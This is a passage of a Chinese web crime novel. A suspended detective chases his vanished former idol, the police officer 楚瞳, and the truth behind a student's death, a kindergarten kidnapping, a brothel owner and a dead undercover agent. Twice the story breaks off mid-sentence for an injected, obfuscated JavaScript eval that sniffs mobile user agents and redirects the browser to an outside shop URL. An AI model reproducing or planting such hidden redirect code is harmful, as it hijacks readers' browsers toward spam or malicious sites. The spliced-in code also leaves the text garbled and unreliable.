“和我当敌人,那只有嫌犯和警察的关系。”郝朔华点到即止,“希望凤老师不要被我抓住。” 凤雏一摆摆手,往前走去,郝朔华看着他瘦削的背影,忽然就忍不住,上前两步,“凤雏一,你真的不是崔冕的男朋友吗?” 凤雏一脚步没停,挥了挥手,像是对他这个提问的鄙夷。 郝朔华把烟拿下来,重新放进烟盒里面,开车前往分局。 目前的情况,十分混乱,各大网友下场,把所有嫌疑人罗列一遍,分析谁是最大的杀人凶手。而郝朔华,至始至终锁定一个人,那就是崔冕的绯闻男友“楚瞳”。 分局的人都认为他疯了,崔冕的男朋友怎么可能是楚瞳,还给楚瞳怀孕打胎,就凭两人的年龄差距和身份地位,也不该搅和到一起。可郝朔华就是觉得,只要找出楚瞳,崔冕到底是怎么死的,就一切真相大白。 事情又回到原点,邱红依和朱英暂时被看押,而事件中的男主角楚瞳,仿佛人间蒸发,半点他的信息都查不到。 郝朔华在白板上认真地写下“楚瞳”两个字,把他的关系网扩大,包括崔冕和他以前上学时的亲密师生关系,连自己都被罗列其上,他看着看着,忽然笑了。 楚瞳可真厉害,即使人不在局里,依然会给他们增添工作。 周进咬着面包进来,把资料递给郝朔华,“队长,我查到楚瞳有一个养女,但是仅一年时间,就脱离领养关系了。” 4. 白愔 白愔。 这个女人在支队、大队、省队,可谓是人人知晓。 每个警察心中,都留下她一副浓墨重彩的画像。 “你见过白愔吗?”郝朔华问周进,“即使是照片?” “没有。”周进摇头,“即使是照片。” 郝朔华觉得周进和他说了一句废话,但是他没想追究,因为周进帮助他调查楚瞳,那他们就是最坚固的战友情。 “我守前半夜,你先睡觉吧。”郝朔华把U型枕给周进调整好,让他抓紧时间睡觉,免得后半夜精力不济,跟踪人掉队。 “队、队长!”周进受宠若惊,赶紧把手中的饮料递给郝朔华,“您喝口能量饮料?” 郝朔华嫌弃地看一眼可乐,在周进的殷切注视下,还是把瓶子接过来仰头喝一口,扒下周进的眼罩,“别瞪我,快睡觉!” “哎……”周进视线处于黑暗中之前,隐约想到一件事情,但他觉得应该不是什么大事,就在郝朔华的镇压下,困倦地闭上眼睛。 郝朔华看到周进睡着,这才从从钱包里面,拿出一张旧照片。 照片上是一个女孩,十七八岁的样子,扎着马尾辫,长得十分清纯可爱。而她的身边,站着两个男生,一个是郝朔华,一个是白衣黑裤的楚瞳。 楚瞳那时候二十七八,刚进入警队工作没多久,还是刑侦支队的一枝花,人人都敬仰他,尊敬他,爱慕他,把他视为神明,就连刚进入警校的郝朔华,也把楚瞳当成自己的指路明灯。 可这座明灯,却在短短的一年之后,变成指路冥灯。 郝朔华满脸黑线,看着楚瞳的脸庞,越看越生气,他把照片扔出车窗外。 很快,他又打开车门,把被风卷走的照片捡回来。周进听到开门关门的声音,身体扭动一下,又陷入沉睡。 郝朔华就着昏暗的车灯,一直盯着楚瞳的照片看,直到眼睛疲倦,眼球充血,流出两行泪,他才像是被风沙眯住眼,揉揉眼睛,把照片塞回钱包。 郝朔华想起很多事情,比如上学的时候,警校里处处流传着楚瞳的传说,食堂打饭的阿姨还经常提起楚瞳,要新生向楚瞳学习,做一个全面优秀无任何死角的完美学生。宿管阿姨将楚瞳住过的701宿舍打扮成观光景点,每次收取门票都能大赚一笔,又把费用寄给贫困山区。学校大门的保安,留着楚瞳给发的一包硬中华的烟,到现在都没舍得抽,依然是保安室的许愿祈福神址。 学校的荣誉榜上,连续五年都被楚瞳占据第一的位置,校长办公室连续五年挂着楚瞳的照片镇宅,就连校内征婚网,也是楚瞳连续五年夺魁。 他好像无所不能,无所不在,无所不往。 郝朔华是跟随楚瞳的事迹,来到警校,又到警局工作。他一路上把楚瞳视作目标,一定要超过这个榜样,成为新的警队标杆。可目标没给他希望,仅仅只是失之交臂的距离,他们仿佛从咫尺相隔天涯。 郝朔华点燃一根烟,斜靠在车身上,看着眼前的金碧辉煌大酒店。白愔就在里面工作。 关于白愔和楚瞳的事情,郝朔华知道的不多,仅仅是作为白愔的同学,他知道白愔十七岁被楚瞳收养,后来不知发生什么,两人解除养父女关系,楚瞳消失,白愔从警校退学,加入“金碧辉煌”大酒店。 说是大酒店,其实就是从事违法犯罪的场所,郝朔华和洪曙光都知道,但是两人都没有揭发白愔,而是任由她继续在非法场所从事牟利犯罪的工作。 究其原因,还是楚瞳。 郝朔华把烟蒂扔在地上,狠狠碾灭,看着从金碧辉煌走出来的妙龄女子,他穿着便衣,不闪不避地迎上去。 “你们先去,我随后出发。” 白愔和同事挥挥手,看着郝朔华走近,她夹着手指上的女士香烟,吐出烟圈蒙住郝朔华的脸颊。 “郝队怎么有空到我的地方?” 白愔说话很市侩,但因为她声音好听,所以是油腔滑调的语气,也显得婉转动人。 “很久没见了,来看看你。”郝朔华当然不能说出真实原因,但他和白愔确实七八年没见,从她退学之后,他就不知道她的消息,而她和楚瞳也断绝往来,明面上一直没有联系。 “稀客啊,要不要我给你开一个包房?”白愔的意思是,郝朔华来找她,那么就是来消费,她作为金碧辉煌的大老板,当然要把客人伺候好了。 “不用,我过会儿就走。”郝朔华看着白愔,想要从她清纯动人的脸上,找到昔日的联系,可惜失败。 “你如果不消费的话,我可不奉陪了。”白愔拍拍郝朔华的脸,看他瞳孔转动,却没有移开视线,她忽地笑一下,凑近郝朔华的耳朵,“郝队,你多久没放松过了?我们金碧辉煌可是最高档次的服务,你真的不进去享受一把吗?” 郝朔华心里突然涌起一股恶气,恶心作呕直犯心头,他捂住嘴,到一边垃圾箱去狂吐了。 白愔远远地看着他,看到他弓起的脊背,瘦骨嶙峋的肩膀,吐得昏天暗地,苦水都吐出来了,依然止不住的犯呕,她忽然觉得好没意思。 “给那位先生送瓶水。”白愔抓住一个侍应生,让侍应生给郝朔华送去矿泉水。侍应生呆呆地看着白愔,直到被白愔摸一把胸肌,才红着脸去送水。 回头的时候,白愔已经坐车离开,尾气消失很久。 郝朔华漱完口起身,望着空无一人的街道,他把空瓶扔进垃圾桶,回到车里。 周进刚刚醒来,看到郝朔华满头大汗的样子,他疑惑地问:“郝队,你去跑步了,怎么全身湿透了?” 郝朔华无言以对,闭上眼睛,让周进开车回警局。 许晖得知周进和郝朔华一起调查楚瞳,还不告诉他,不开心地在局里发一通火,还让周进写检查。周进委委屈屈地抱着双重工作去加班,郝朔华却把自己扔进档案室里,三天三夜没出来。 洪曙光期间过来一趟,发现郝朔华魔怔一样,他摇摇头,叮嘱许晖不能把楚瞳的任何消息透露给郝朔华,这才回家陪老婆孩子吃饭。 郝朔华从档案室出来之后,向许晖索要崔冕的手机。许晖受到洪局的叮嘱,不能把手机给郝朔华,郝朔华却用“官复原职打击报复”威胁他,许晖扛不住郝朔华的无耻无赖,只好把手机悄悄给郝朔华。 郝朔华翻看崔冕的手机,之前拿到证物的第一时间,他就已经把崔冕的所有信息查过一遍,包括被清空的短信和通讯记录,可技术员恢复数据之后,那条崔冕生前收到的最后一条短信,还是没法获取。 郝朔华一直在想,到底是什么人,能成为压垮崔冕的最后一根稻草? 根据崔冕的成长环境,她不是一个遇到挫折就会选择轻生的人,相反,她有足够的勇气面对生活的刁难,她甚至能从孤儿院那种地方爬起来,独自成长为耀眼夺目的优秀女大学生,她的奖状和奖杯摆在校友荣誉殿堂,受到学弟和学妹的膜拜。 这样的人,除非从内部瓦解,任何外部因素都不足以击倒她。 到底是什么内容,能把崔冕从大好年华带入地狱? 郝朔华重复地翻看崔冕的短信,以及通话记录、社交媒体。崔冕的生活很单调,日常除去读书,就是勤工俭学,这样的好学生,是不会跟坏人扯到一起的,而她的通话记录,最多的就是广告和诈骗电话,根本都没有几个保存联系人。 郝朔华看着最顶端的联系方式,“北城妇女儿童医院”,这家医院没有崔冕的出诊记录,那她为什么保存这个号码?她是想要打胎,然后没来得及吗? 郝朔华出发前往北城妇女儿童医院。 他到达的时候,正值周末的傍晚,医院十分热闹,如果不是知道,这里是生与死的边界,他都以为是什么菜市场。郝朔华走进妊娠中心,看着那些准妈妈脸上的形态,一个女生如果怀了孕,她是紧张恐惧居多,还是期待幸福居多? 又或者,这一切的因素,决定于孩子的父亲? “对不起!” 一个头戴鸭舌帽的男人撞到郝朔华,他赶紧低下头捡起地上的检测报告,压低帽檐,急匆匆地推门而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495470|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郝朔华回头看着男人的背影,脑袋中还回忆着男人略带深市的口音,另一个准爸爸搀扶准妈妈出来,耳朵上夹着手机说话:“我告诉你啦,我不买房子啦,别给我打电话啦,靓仔!” 他将电话挂断,又卿卿我我地和老婆说话,看起来十分甜蜜。 郝朔华脸上也不自觉地露出笑容,他感叹今日遇到的深市人真多,忽然,两道深市的口音混杂到一起,将郝朔华的目光聚焦到崔冕通话记录上,来电最多的号码全是深市IP。 “轰!” 郝朔华猛地撞开大门,冲进办公室。分局的所有人都看着他,发现他额头上的汗水,以及半湿的衣服,郝队不会是跑步过来的吧? “给我查这几个IP地址!”郝朔华急匆匆向技术员交代,恨不得现在就得到回复,可还没等技术部动手,许晖走进来,把那一连串号码遮住,“郝队,你现在还是停职期间,不可以过问崔冕的案件。” 他像是变了一个人,十分严肃认真。 郝朔华却眼球充血地看着他,“你是不是早就知道了,楚瞳在深市?” 许晖没说话。 或许他回答与不回答,答案已经在郝朔华心中。 郝朔华抓住许晖的衣领,怒吼:“这次如果放跑楚瞳,我不会放过你!” 许晖将他的手拿下来,温和说:“我还要去接洪局的孙女放学,郝队不如回家歇一歇。” 郝朔华“呸”一声,看着许晖积极巴结上级的样子,他简直没眼看。等到许晖离开之后,他又把自己关在办公室,来来回回对比同个IP电话的不同之处。 局里现在受到洪局和许副队的双重警告,都不许帮助郝朔华过问崔冕的案件,郝朔华独木难支,但他最难得的是,永不放弃对真相的探寻。 郝朔华记忆力很好,复盘每个电话打进的日期和通话时间,终于让他在几百个电话中,查询到几十个疑问号码。 他用手机拨回电话,前面几个都是广告营销,直到第十个号码,“嘟”声之后,立即被挂断。郝朔华敏锐地直觉,这个号码一定有问题! “周进,跟我出一趟外勤!” 郝朔华走到外间,朝着周进大喊。 周进正拿着一张照片,看看郝朔华,再看看照片上的女人。 “队长,原来你的初恋对象,这么漂亮啊!”周进不无羡慕地说。 “什么初恋对象?”郝朔华不耐地走过来,当他看到,周进手上拿着白愔的照片,他脑海嗡鸣一声,忽然什么都听不到了。 “队长,队长!”周进使劲摇晃郝朔华,直到把人的神志摇回来,他才激动地说:“我知道我们那天去跟踪谁了!原来就是这个叫白愔的女人,之前我还不知道她长什么模样!” 你现在才知道跟踪目标长相啊,晚了! 郝朔华揪着周进的领子,把他带进车里,命令:“开车,去深市!” 周进迷迷糊糊,听话地开车上路。两人堵在立交桥上,周进一边看红绿灯,一边刷手机,忽然一个电话打进来,周进想也没想的开外放。 “喂?” “出大事了,赶紧回局里!” 同事给周进通知完消息,又去通知别的同事。 郝朔华好奇地询问:“什么任务,这么紧急?” 自从他被停职之后,局里的第一手消息,都不会传到他的手里。 周进正在看群,发现同事发送一段视频,他点开一看,吵吵闹闹尖叫声和孩子哭闹的声音一起传来。 郝朔华抢过手机,直面视频里的绑架儿童案。 “都别过来,再往前一步,我动手了!” 一个黑衣蒙面的绑匪抱着孩子,不断往后退,手里的匕首对准孩子的脖颈,还在不停地对着周围怒吼。 大家都被这场变故惊呆了,老师组织孩子们疏散,而大人们恐惧地后退,阴影笼罩在启明星幼儿园。只有一个穿夹克的男人,不退反进,想要制服绑匪,救下孩童。 那分明是刚说过要去接洪局孙女放学的许晖! 5. 安亚 郝朔华和周进赶到现场,绑匪已经被制服,孩子也安全无事。许晖正在和园长沟通,如何妥善地处理这件事情。 “怎么回事?”郝朔华走近,环顾四周:“洪局孙女呢?” 许晖抬头看他一眼,“老师正在安抚孩子,一会儿送出来。” 郝朔华点点头,没说话了。 他在激烈的现场勘察一圈,根据绑匪的行动轨迹,这分明是有预谋的报复。许晖已经对犯案人员进行简单的调查,王生,男,42岁,北城外籍务工人员,离异,一个儿子被前妻带走。根据口供,王生离异之后,一直无所事事,整天不是游手好闲,就是赌博喝酒,对前妻带走儿子一事有强烈的怨恨,大概是为了报复,才想在幼儿园引起恐慌。 因为他携带的匕首是儿童玩具,根本造不成人员伤亡,所以他的事件也引不起支队的重视,大概就是口头教育两句,再观察几天,就会被放出来。 周进十分地不忿:“这种人怎么不多关几天,应该让他坐牢!” 他也是慈悲心肠,对恐吓威胁儿童一事,就算只是存心报复,没有人员伤亡,也希望那些对弱势群体下手的渣滓去死! “他喝酒闹事,再加上检测出重度心理疾病,根本没法从重处理!”许晖说着,看到周围哭泣的小孩,也是十分无奈:“希望以后,学校的安保工作做得更好一点吧。” 防不住恶人犯罪,只能加强自身保护。 郝朔华正想对现场证人做一个简单的询问,一位老师匆匆从教室跑出来,站在许晖身边,惊慌失措:“小小不见了!” “什么?!” 郝朔华比许晖更快一步,站在老师面前,几乎要怼到她脸上:“洪小小去哪儿了?” 洪局的这个孙女,可是大家的开心果。在老局长耳提面命地督导下,几乎局里上上下下都知道,洪局的命根子就是这个孙女,有幸去到洪局家里吃过饭的人,都清楚洪小小是一个多么可爱纯真的小女孩,她时时刻刻都在逗笑洪局,更知道洪局把洪小小看得多么宝贝。 一旦洪小小出事,不论是谁,都顶不住洪局的压力。 “我,我……” 老师快急哭了,在周进地安慰下,她才断断续续地说:“我们给孩子做心理疏导,本来所有孩子都安静下来,不哭不闹,可一个男孩听到爸妈没法赶来接他,立即哭闹不止,小小去安慰男孩,还带着男孩去卫生间洗手,我们以为很快就回来,可三分钟过去,卫生间只有男孩,没有小小。” “你们怎么不安排老师陪着孩子?”许晖对老师的重大工作失误,表示要追究到底,“这件事情,院方应该给我们一个交代!” 正在这个时候,小小的爸妈赶来了,听到女儿不见,两人都哭成泪人。 郝朔华抓住老师的手,往教室里面走,“男孩在哪里,他知道些什么?” “男孩什么也不知道,我们找到他的时候,他在卫生间睡着了!”女老师的话充满恐惧,大概也意识到这件事情多么诡异,泣不成声,“我们幼儿园的安保一直做得很好,可先有蒙面绑架案,后有小小失踪……我们老师第一次遇到这种事情,难免人手不够,疏忽对孩子的紧密看管,哪知道就这么一会儿的功夫,才眨个眼睛……” 郝朔华的脚步略微一顿,继续向前,“带我去卫生间看看。” 一个好端端的孩子,难道还能凭空消失? 他一直觉得幼儿园绑架案十分蹊跷,而现在洪小小失踪,似乎验证了他的想法,可他宁愿这真的只是一场普通的醉酒闹事案,而不是有预谋的恐吓威胁。 许晖去查监控,周进对所有在场的人进行询问,试试看有没有人看到小小自己跑出幼儿园。 可这根本就是不可能的事情,一个孩子跑出幼儿园,路上多少人能碰到,难道一个人都不会拦住她询问吗? 郝朔华检查幼儿园卫生间的所有外出通道,以一个成年人的理智判断,小小不可能一个人出去,一定是有人把她从内部带走。 这个人会是谁,有什么目的? 他正想通知全城搜捕,安排人排查今日到过幼儿园的所有家长和车辆,以及附近人员和全体师生,忽然,周进高兴地声音从外面传来:“找到小小了!” 郝朔华出去,正看到小小扑进爸爸妈妈的怀里,一家三口哭得上气不接下气,他再看向远处,一辆黑车缓慢开走,当路过郝朔华的时候,车窗降下来,白愔坐在后座,单手支在车窗上,食指夹着一根烟。 白愔意味不明地看他一眼,摇上车窗离开了。 郝朔华胸膛起伏地站在原地,被那一眼看得心潮剧烈波动,他想要追上去问为什么,却在奔跑几步之后,只闻到一股车尾气。 洪局召集全体警员开会,郝朔华也有幸参加。 在会议上,洪小小出事的事情,洪局半句不提,只是对这一个月的工作进行总结,对有功和无功的人都进行嘉奖和批评,再来就是,对下个月工作的安排,以及崔冕的案件应该做出一个结案。 “我不同意!” 当听到局长要以抑郁症自杀给崔冕的案件定性,郝朔华立即站起来反对。 所有人都看向他。 洪局当做没看见郝朔华的愤怒,把崔冕的抑郁症检测报告,以及她一直在吃的抗抑郁药摆在郝朔华面前,证据确凿,而且从老师和走访同学的口中得知,崔冕近期确实精神不正常。 “这些都是污蔑!”郝朔华指着在座的警员,对他们进行批判,“你们找不到证据,就想急匆匆结案,怎么,是上面又给你们压力了?还是网友又爆出什么内幕?你们这么害怕,不如辞职回家去养老,局里不养一群闲人!” “郝朔华!”洪局厉声大吼,把郝朔华震住,让他先坐下,“你有什么想法,写成报告提交给我,不要扰乱会议进度!” “我没什么想法,既然我被停职,那这样的会议也不用参加,我先走了。”郝朔华直接提起衣服,当着所有人的面离开大会。 周进想要跟出去,被局长瞪一眼,他立即坐回去。 郝朔华走出警队,看着天边的昏暗云层,再看向头顶的冰凉雨幕,他又想到崔冕,想到她躺在冷硬的地板上,所有人都对她指指点点,议论纷纷,恨不得好的坏的一起上,把死去的人再扼杀一遍。 可他不想对生命漠视,想给每一条生命都有一个妥善的安排。 “哭了?”一道吊儿郎当地声音从旁边传来,郝朔华转过头去看,居然是凤雏一。 他不是已经出国深造去了吗? “我没哭。”郝朔华抹一把脸,一手的湿漉漉,是冰凉的雨滴在袭击他,“你怎么在这里?” “没办法,学校出事了,我暂时走不了。”凤雏一手指尖玩转香烟,低着头的侧影,仿佛刚从地狱恶鬼中爬出来,染上浓重的黑气,却不煞人。 “学校出什么事了?”郝朔华最近一直盯紧楚瞳,都没怎么留意北城医学院的近况,难道还真有新线索? “你看。”凤雏一把手机打开,递到郝朔华面前。 郝朔华吸吸鼻子,也不嫌弃自己的狼狈,湿漉漉的手接过最新款手机,他在页面上浏览,很快根据热搜,锁定北城医学院发生什么事情。 有学生实名举报,北城医学院教授性侵女生,导致女生怀孕流产,精神崩溃,学业中断,退学退档。 这样的事情每年都会发生几起,但每年都没法扫清,似乎教授和学生之间,除了最纯粹的学问关系,利益输送才是赶时髦的。 郝朔华震惊的不是“叫兽”又曝光了,而是实名举报者是安亚。 也就是他大侄儿的女朋友,也是崔冕曾经的宿友。 她帮助自己的朋友,一个被确诊精神病患者的女大学生举报无良教授。 “你也禽兽不如了?”郝朔华看完热搜,第一件事就是询问凤雏一,是不是也对自己的学生下手。 “你看我和她们,是我占便宜,还是她们占便宜?”凤雏一没好气地抢过手机,“我纯纯是被连累,很多学生知道我要出国深造,不想我离开,所以污蔑我也有嫌疑,校方因为事件的扩大和影响,暂时没让我离开。” 还能这样? 郝朔华大开眼界了。 “爆!北城医学院又辞退一个老师,据传作案时间长达十年,许多豆蔻少女都沦丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495471|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他的魔抓之下!” “安亚是郝学长的女朋友,一定没有被染指,就不知道有多少隐藏的受害者没有站出来举报。” “这种事情,换做谁都不想被议论,只能吃下哑巴亏了。” “崔冕是不是也遭遇毒手了?她的案子到现在还没有一个结论,难道真的有什么阴谋?” “安亚和崔冕,一个有人保护,一个没人保护,两种不同的结局……” 网友们口诛笔伐,在键盘上唾沫横飞,而郝朔华坐在车上,正在开往回家的路。 因为北城医学院又出事情,本来应该今天出结论的崔冕案件,只能往后拖延。 郝朔华听到这个消息的时候,正跟凤雏一坐在街边的小吃摊,一人抱着一碗麻辣烫,吃得热火朝天。他心中的郁闷,仿佛也随着热辣鲜香,排解不少。 与凤雏一分开之后,郝朔华想到大侄儿,再复盘今日的种种遭遇,他从三天的档案室资料里扒拉出一个角落,那个角落似乎把所有的事情串联起来。 郝朔华要回家去,询问老头子,是不是知道一点当年的秘密。 “大华回来了!” 家里的阿姨看到郝朔华的车开进地库,激动地去告知老爷子。 郝建业退休在家,每日除了养花逗鸟,没有别的事情,好不容易大孙子进门了,却拉着他直接进书房,他知道,这是又上他这里“打牙祭”了。 “局里混不下去了,又想从我这里打探消息,你是不是太没出息了?”郝建业对郝朔华可没那么客气,在家是爷孙,进书房就是领导和下属。 “爷爷,我想问问,楚瞳当年离开,是不是因为出了什么事情?”郝朔华开门见山,大概是跟家里人,他对谈论起楚瞳,根本没有在局里那么一板一眼,“我听说,他有一个很好的搭档,因为做卧底出事,他才去替补。” “替补什么替补?你听谁说的?别想从我这里套话!”郝建业可不是郝修那个大嘴巴,没个心计,什么都敢对郝朔华说。他自己心里有谱,这个大孙子这么多年一直紧抓着楚瞳不放,恐怕已经成为心里的一根刺。 “我查过当年的卷宗,楚瞳的搭档出事,根本不是身份暴露,而是遭人背叛!”郝朔华语气拔高,振聋发聩:“许多人都怀疑,是楚瞳暴露卧底,才害死好朋友,他因此十分愧疚,才从队里离职。” “离职什么离职?你如果不想干了,就回家来,和我在家里养养花逗逗鸟,可比你现在疑神疑鬼的强!”郝建业转移话题,根本不想谈论楚瞳。 楚瞳是局里的禁忌,在郝建业这里,何尝不是一种锐痛。 每个人都想保护他,都想善待他,都想让他闪闪发光,可总有些事情,事与愿违。 “爷爷,你就告诉我,当年那个卧底,到底是怎么出事的?”郝朔华抓住郝建业,就不轻易放手,他现在有一种直觉,能从爷爷这里,得到局里也不知道的内幕。 “我真是服了你了,你的眼中,是不是除了楚瞳,再没有其他人?”郝建业还想浑水摸鱼,“你年纪也很大了,是不是该考虑结婚生孩子了?我还能看到重孙出生吗?” “爷爷,你如果告诉我真相,我就考虑结婚生子!”郝朔华用自己的终身大事交换,“我说到做到!” 郝建业犹豫一阵,其实这种事情,告诉郝朔华也没关系,反正他迟早也要知道。而且,就看他现在的势头,与其从别人那里语焉不详地半知不解,还不如直接将事实吐露。 “那个卧底,是我们局里,最优秀的警察。”郝建业的语气充满惆怅:“他成功潜伏十五年,带回许多有用的消息,而他的妻子和女儿,却遭遇歹徒绑架,被活活虐死。” 郝建业回忆起那时候的时候,依然双眼湿润:“我们找到尸体的时候,她们身上没有一块完整的皮肤,而卧底最后一个任务,就是将自己作为垫背,换取新的线人顶上。” “那个人是谁,是楚瞳吗?”郝朔华迫切地希望得到答案。 “不是。”郝建业说:“之后的事情你就不能知道了,我只能告诉你,卧底用一辈子换来家破人亡,却没有一块属于他的功勋章,就连真实姓名都无法存在。” 6. 0548 “0548。”郝建业说:“这是他的代号。” 0548,0548。 郝朔华念着这串数字,忽然就从记忆角落里,搜索到一点信息。 据说,当年这个代号,是除去楚瞳之外,最让人好奇与崇拜的光。 他与楚瞳并驾齐驱,在北城发光发热,后来即使成为卧底,也从没让组织失望。他参与的特大重大案件,简直多不胜数,而众多悬案疑案,因为有他做内应,都昭然天下。 郝朔华突然想流泪。 两个光芒万丈的青年,因为一起案件,一个彻底消失,一个家破人亡,这是多么巨大的讽刺。 “0548,还有家人吗?”郝朔华语气艰涩地问,如果英雄还有在世的亲人,他一定要好好照顾。 “没有了。”郝建业语气悲伤,“他的妻子和女儿遭到恶意报复,尸骨无存,而他的老母亲,知道儿子全家死亡,也犯头风病去世了。” “这么悲惨吗?”郝朔华一下子瞪大眼睛,相比起英雄的遭遇,似乎他现在面临的一切,都算不得什么了。 “你不要再追查这件事情,对你不利。”郝建业叮嘱郝朔华,又知道他不是听话的人,严重警告:“你如果还想穿着身上这身衣服,就不要刨根问到底。” 这怎么是刨根问到底,难道不能给英雄一个正式的敬礼吗? 郝朔华根本不想听老头的话,又深刻觉得,老头的警告才是对的。他感到无与伦比的灰心。 郝建业看着郝朔华丧气的样子,转头安慰他,“也不是所有人都是这种结局,就好比0548的女儿……” “0548的女儿还活着?!”郝朔华立即激动,可随后又意识到这句话的问题,“0548的女儿不是死了吗?” “也不是,怎么说呢……”郝建业面对郝朔华炯炯有神地大眼睛,只能模棱两可,“0548的二女儿,还活着。” “她在哪儿?她在做什么?”郝朔华非得知道,英雄的女儿是不是也继承父亲的遗志,工作在警察第一线,“她叫什么名字?” “叫什么名字啊?”郝建业拖长声线,脚步往外走,“张妈张妈!晚饭做好了吗?老头子饿死啦——” 郝朔华看着爷爷耍无赖的样子,已经很多年没看过爷爷这么顽皮,他也不逮着一棵树薅,既然今天已经知道这么多内情,那他之后查案就更方便了。总会与故人再重逢。 郝朔华没吃晚饭,在郝建业跳脚大骂中,他驱车前往大侄儿的校外住处,去询问安亚关于这次的“教授性侵”案。 看似毫无关联的案子,也许就有千丝万缕的联系。 金碧辉煌。 最里间的办公室,白愔站在落地窗前,看着城市的万家灯火,她脚边跪着一个男人,男人想要上前,匍匐抓住她的脚腕,被一旁的疤脸大汉踹开。 “白小姐,白小姐求求你,放过我吧,我再也不敢了!”白天气势凶悍的绑匪,此刻像一只蝼蚁,扒在地上,不断地恳求。 王生抬起眼睛,只看到两条裤腿笔直修长,而他连白愔的正脸都见不到,香烟的味道传入鼻尖,王生忽然觉得,这个女人自始至终都没有露出真面目。 “小姐问你,为什么要绑架孩童?”疤脸大汉受到白愔的暗示,询问王生:“只让你把孩子带出来吃顿饭,你却引起幼儿园的恐慌,这件事情,你该承担所有的责任。” “我知道错了!我不该喝酒,耽误白小姐的事情,但我真的没有伤害孩子,我只是戏弄他们……”王生絮絮叨叨的辩驳,而白愔头也没回。 “既然知道错了,那就下去领罚。”疤脸大汉想要把王生拖走,王生忽然爆发一阵勇气,揪住白愔的裤腿,“我知道‘鹰眼’的消息,我知道他藏在哪里,让我戴罪立功吧!” 白愔摁灭香烟,回过头来,俯视着地上的男人。 她的侧脸在半明半暗的窗前,看不清晰,语气悠然:“你知道鹰眼的下落?” “我知道!”王生立即抓住机会:“我还知道,当年那个卧底,他还有一个女儿,现在就在北城!让我去把他们抓出来,把他们的脑袋剁下来,给白小姐当下酒菜!” 白愔的下颌抬起,冷凝着窗外的灯光。 五彩斑斓的色泽,却没有属于她的那一盏光。 “既然知道,那就下去吧。”白愔冷淡地说。 疤脸大汉立即把王生拖下去,不一会儿回来,手上沾着血。 “把人丢在分局门口,让郝朔华亲自认领。” 白愔交代,挽起袖子,撑在地上做俯卧撑,当地面的毛毯全部浸湿,她让人把毛毯扔了,这才换上新的裙子和高跟鞋,去大门口迎接二老板。 “你是说,崔冕跟校外的男朋友早就同居了,两人还未婚先孕?”郝朔华被这个消息震得五内俱焚,他忽然越来越看不清崔冕这个人。 “是,她跟男朋友的照片,我见过。”安亚说着,在郝修的安抚下,提起素描笔,简单勾勒出一个男人大体的形象,“她的验孕棒还是我买的,而那个男人找过崔冕几次,是我帮他们传的消息。” 安亚说着,回忆起以前的事情,声音充满懊悔:“我本来可以劝阻崔冕,不要助纣为虐,早日回头是岸,可我还是扔下她没管,一个人离开了。” “不是你的错,是她不听劝,不怪你。”郝修安慰安亚,把自己知道的也告诉郝朔华,“安亚性格古怪,特别是谈男朋友之后,她的行踪变得神神秘秘。一开始,我们也没有往那方面想,可是……” “可是,她居然出入金碧辉煌那样的地方!”安亚是家教良好的乖乖女,对崔冕这种又清高又自甘堕落的行为,她前期有多欣赏崔冕,后期就对她有多么失望,“我不会允许,我的朋友,是出卖身体的人!” “出卖身体?”崔冕? 郝朔华忽然觉得,这两个词不应该安在崔冕的身上,搭配不起来。 “我也想不明白,她有正式的男朋友,也不缺钱,怎么会去做那种事!”安亚的素描已经接近尾声,正在勾勒男人的头骨,手腕随着声音颤抖,“我第一次看到她从中年男人的怀里出来,我就知道,她没救了!” 可再没救,她也希望崔冕好好活着,不要自轻自贱,早日改过自新,哪知道她还是跳楼自杀了。 “崔冕的男朋友比她大很多岁吗?她喜欢中年人?”郝朔华自己都把自己问懵了。 安亚摇摇头,或许是她也没有答案,把最后一笔素描画好,递给郝朔华,“我看到的中年男人,不是崔冕的男朋友。” 所以,崔冕在从事情色交易? 郝朔华心中想着这个问题,漫不经心地看向素描,哐当,他一下子站起来,把凳子都踢翻了。 “怎么了?你认识这个男人?”郝修比较了解郝朔华,虽然他不在警队上班,但是家世渊源,他知道一些警察对嫌疑人的敏感。 “他——”郝朔华的声音艰难地挤出:“他怎么会?” “谁?他是谁?”郝修想要看清楚素描上的人,却被郝朔华把纸折起来,挡住视线,“你让我看看,我还是第一次见你失态。” 郝朔华现在已经一句话也说不出。 他手上拿着楚瞳的画像,面前是安亚这个证人,即便他内心竭力否定,但他知道,楚瞳是崔冕的男朋友,这个事实摆脱不了。 “我……”他刚要说点什么,转移注意力,手机响起,是分局那边给他打电话。 郝朔华很好奇,在他堂而皇之地从大会议上离开之后,居然还有人会联系他,难道又出了什么新案子? 可听完同事的话,他嘴角的弧度绷不住了。 “稍等,我马上来!” 郝朔华立即往外跑,都来不及对郝修和安亚交代一声。 他赶到局里的时候,门口的尸体还停在外面,白布上用偌大的字写着“郝朔华签收”。 他把白布掀开,刚见过不久的幼儿园绑架案嫌疑人王生,胸口上插着数刀,死状凄惨地瞪着高挂的警徽。 郝朔华忍住恶心的感觉,询问同事:“验尸了吗?” 许晖拿着验尸报告出来,平静地看郝朔华一眼:“法医验尸了,初步结论,精神错乱导致的自杀。” 郝朔华嗤笑:“你看这个结论,我会相信吗?” 许晖也不跟他争辩,扫一眼死状凄惨的中年男人:“有一个问题……” 郝朔华等着他放屁。 